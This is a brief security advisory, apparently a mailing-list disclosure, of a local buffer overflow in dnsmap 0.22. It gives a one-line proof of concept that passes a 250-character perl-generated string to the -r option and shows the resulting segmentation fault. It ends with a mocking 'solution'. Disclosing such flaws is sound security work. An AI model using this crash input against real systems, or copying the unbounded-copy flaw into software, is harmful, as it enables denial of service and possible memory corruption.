Buffer Overflow in dnsmap 0.22 - DNS Network Mapper by pagvac (gnucitizen.org)

[srl <security.research.labs () gmail com>]

Security Advisory:

PRODUCT
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http://www.gnucitizen.org/blog/new-version-of-dnsmap-out/
http://www.gnucitizen.org/static/blog/2009/02/dnsmap-022.tar

This this is a great tool, used by the two pentesters, pagvac and pdp

TECHNICAL DESCRIPTION
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A local buffer overflow exist in dnsmap 0.22.
$ dnsmap -r `perl -e 'print "A"x250'`
dnsmap 0.22 - DNS Network Mapper by pagvac (gnucitizen.org)

Segmentation fault

SOLUTION
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Wait until pagvac will learn about strncpy().

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